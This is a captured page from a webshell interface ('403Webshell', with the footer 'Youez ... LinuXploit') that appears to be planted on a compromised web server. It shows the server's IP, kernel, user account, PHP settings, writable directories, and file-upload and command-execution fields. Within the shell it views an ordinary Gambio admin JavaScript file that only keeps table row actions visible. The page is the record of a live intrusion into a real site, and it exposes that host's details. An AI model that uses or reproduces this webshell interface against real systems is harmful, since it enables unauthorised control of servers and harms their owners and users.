403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/admin/javascript/engine/extensions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/admin/javascript/engine/extensions/datatable_fixed_row_actions.js
/* --------------------------------------------------------------
 datatable_fixed_row_actions.js 2016-07-13
 Gambio GmbH
 http://www.gambio.de
 Copyright (c) 2016 Gambio GmbH
 Released under the GNU General Public License (Version 2)
 [http://www.gnu.org/licenses/gpl-2.0.html]
 --------------------------------------------------------------
 */

/**
 * ## Enable fixed table row actions that do not hide on mouse leave.
 *
 * By default the actions will be hidden when on mouse leave event. This module will make sure that they
 * stay visible.
 *
 * @module Admin/Extensions/datatable_fixed_row_actions
 */
gx.extensions.module('datatable_fixed_row_actions', [], function (data) {

    'use strict';

    // ------------------------------------------------------------------------
    // VARIABLES
    // ------------------------------------------------------------------------

    /**
     * Module Selector
     *
     * @type {jQuery}
     */
    const $this = $(this);

    /**
     * Module Instance
     *
     * @type {Object}
     */
    const module = {};

    // ------------------------------------------------------------------------
    // FUNCTIONS
    // ------------------------------------------------------------------------

    /**
     * On Table Row Mouse Leave
     *
     * The dropdown must remain visible if it was open when the cursor leaves the table row.
     */
    function _onTableRowMouseLeave() {
        const visibility = $(this).find('.btn-group.dropdown').hasClass('open') ? 'visible' : '';
        $(this).find('.actions .visible-on-hover').css('visibility', visibility);
    }

    /**
     * On Bootstrap Dropdown Menu Toggle
     *
     * Remove any custom visibility set by this module whenever the user interacts with a dropdown toggle.
     */
    function _onBootstrapDropdownToggle() {
        $this.find('.actions .visible-on-hover').css('visibility', '');
    }

    // ------------------------------------------------------------------------
    // INITIALIZATION
    // ------------------------------------------------------------------------

    module.init = function (done) {
        $this
            .on('mouseleave', 'tr', _onTableRowMouseLeave)
            .on('shown.bs.dropdown hidden.bs.dropdown', _onBootstrapDropdownToggle);

        done();
    };

    return module;

});

Youez - 2016 - github.com/yon3zu
LinuXploit